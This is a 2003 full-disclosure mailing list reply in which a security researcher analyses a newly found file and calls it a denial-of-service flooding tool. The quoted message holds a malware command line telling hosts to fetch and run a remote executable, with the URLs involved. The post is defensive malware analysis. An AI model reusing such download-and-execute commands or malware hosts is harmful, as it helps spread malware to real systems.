full-disclosure - New virus

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From: jstewart at lurhq.com (Joe Stewart)
Subject: New virus

On Tuesday 25 November 2003 5:17 pm, Steven Harrison wrote:
> Just for fun, I pointed my web browser at
> http://finance.red-host.com/events.php and all I got back was:
>
> exec:http://wendy35.phpwebhosting.com/netm.exe
>
> I retrieved that file, and running it 'strings' does imply that it
> will contact a remote website. It could be a copy of the virus (I
> have yet to recieve one yet), giving it another way to distribute
> itself, or for the author to distribute improved versions.

It's a DoS attack tool, the target of which is the website you see in 
the strings output. Its only function is to flood the remote host with 
ICMP and HTTP traffic.

-Joe

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Joe Stewart, GCIH 
Senior Security Researcher
LURHQ http://www.lurhq.com/